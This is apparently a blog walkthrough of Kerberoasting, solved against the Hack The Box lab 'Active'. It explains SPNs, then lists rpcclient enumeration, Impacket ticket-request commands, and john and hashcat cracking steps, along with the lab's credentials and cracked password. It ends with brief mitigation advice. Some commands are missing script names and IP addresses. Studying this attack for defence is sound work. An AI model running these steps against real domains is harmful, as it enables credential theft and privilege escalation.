Kerberos Workflow using Messages In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.

Service Principal Names

A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name.

  • If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN.
  • Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
  • A given SPN can be registered on only one account.
  • An SPN must be unique in the forest in which it is registered.
  • If it is not unique, authentication will fail.

  • Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks
  • SPNs that have been associated with a domain user account where NTLM hash will be used

What is Kerberoasting?

Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password.

  • Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs).
  • When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.

An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.

Concept behind

1. Having a low privilege user/password, the attacker scans Active Directory for user account with SPN values set

2. Once a list of users is obtained the attacker requests service tickets from AD using SPN values

3. Using some tools the attacker extracts the service tickets and saves the information.

4. Once, the tickets are saved in disk the attacker proceeds to crack it using scripts that will run a dictionary of passwords as NTLM hashes against the service tickets.

5. When the ticket is opened with a successful NTLM hash match the user real password is displayed.

Overall procedure #1

1: Discover or scan the registered SPN.

2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool.

3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario)

4: Convert the .kirbi or ccache file into a crackable format Step 5: Use a dictionary for the brute force attack.

Overall procedure #2

1. Scan Active Directory for user accounts with SPN values set.

2. Request service tickets from AD using SPN values

3. Extract service tickets to memory and save to a file

4. Brute force attack those passwords offline until cracked

How to Exploit (Impaket)

1. Having a valid AD username and password, in our case (User: active.htb\SVC_TGS, Password: GPPstillStandingStrong2k18). We will authenticate using rpcclient

  • rpcclient -U “SVC_TGS”
  • GPPstillStandingStrong2k18

2. Enumerate the domain users

  • enumdomusers

Note: Focus on the administrator users

3. You can also enumerate the groups, there we may find “admin” group

  • enumdomgroups

4. Show the users that belong to a group, we will use the group RID

  • querygroupmem 0x200

Note: This will display the RID of the users members of this group, in our case rid:[0x1f4]

5. We can now query for this user (0x1f4)

  • queryuser 0x1f4

Note: We can see we got the administrator user as a result

6. We can also find out if the user we’ve been using is part of an Active Directory domain using Impaket

  • python3.9 /opt/impacket/examples/ -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip

Note: We see Administrator and SVC_TGS listed in there

7. Now request the TGS (ticket) from the users using Impaket

  • python3.9 /opt/impacket/examples/ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request

8. I will run the same command and I will save the output in a file named tgs.hash

  • python3.9 /opt/impacket/examples/ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request -output tgs.hash

9. (OPTIONAL). If you ever get a NAL). If you ever get a “Kerberos SessionERROR: KRB_AP_ERR_SKEW(Clock skew too great)”, then you need to sync the time with the AD server

  • rdate -n

10. Now that we got the encrypted ticket we will proceed to crack it using john against the file we created tgs.hash

  • john –wordlist=/usr/share/wordlists/rockyou.txt tgs.hash

Note: The password Is Ticketmaster1968

11. We can also crack the password using hashcat

  • hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt –force –potfile-disable

Detection and Mitigation of Kerberoasting Attacks

The best mitigation defenders have at their disposal against Kerberoasting is to enforce robust password policies for service accounts. Organizations should mandate long, complicated passwords (25 or more characters) that are changed frequently. Length and complexity frustrates offline cracking efforts. Frequent password rotation, say at 30-day intervals, narrows the window of time attackers have to crack long hashes for an indeterminate length of time.



Categories: Windows Exploitation


Leave a Reply

Your email address will not be published. Required fields are marked *